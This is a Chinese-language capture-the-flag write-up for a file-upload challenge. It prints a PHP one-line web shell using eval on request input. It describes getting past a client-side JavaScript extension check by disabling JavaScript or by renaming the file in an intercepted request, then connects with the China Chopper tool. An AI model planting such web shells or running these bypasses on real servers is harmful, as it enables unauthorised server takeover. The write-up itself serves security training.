步骤
打开所给场景,发现可以上传文件,尝试进行上传一句话木马:
<?php
@eval($_REQUEST['a']);
echo "执行成功";
?>
发现提示只能上传图片,点击确定后发现文件已经选中,但是提交按钮却不能点击:
一看就是通过前端js脚本进行校验了,这样就很简单了,两种方法:
第一种:简单粗暴,直接进入控制台,点击设置,禁用JavaScript
刷新,重新选中一句话木马,发现可以提交
上传成功,发现上传的路径已经显示,进行访问
在这里卡了好久,我一直尝试进行传入参数,结果发现没什么卵用
最后突然想起来菜刀是干什么吃的!直接上工具
拿到flag~
方法二:要是看不出来是通过js进行校验的,我们可以先上传一个图片文件进行抓包分析
接下来就是代码审计:
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){//检查是否图片
upfile = document.getElementById("upfile");//获取选择文件按钮的节点
submit = document.getElementById("submit");//获取提交按钮的节点
name = upfile.value;//上传文件的名字
ext = name.replace(/^.+\./,'');//将文件名字中匹配正则的部分用空字符替换
//正则含义:以一个或多个换行符除外任意单字符开头然后跟.
if(['jpg','png'].contains(ext)){
submit.disabled = false;//如果包含jpg,png就可以提交
}else{
submit.disabled = true;如果不包含jpg,png就不让提交
alert('请选择一张图片文件上传!');
}
}
replace(regexp/substr,replacement)
:前面的参数是用来寻找调用这个方法的字符串中符合的部分,然后用后面的参数替换它
分析源码可知,是黑名单校验,我们将一句话木马的后缀改为jpg进行上传,同样进行抓包:
在这里将后缀改为php,进行转发,发现上传成功:
进行访问:
接下来同样用菜刀进行连接就可以了
总结
考察文件上传的绕过方式,以及工具的合理使用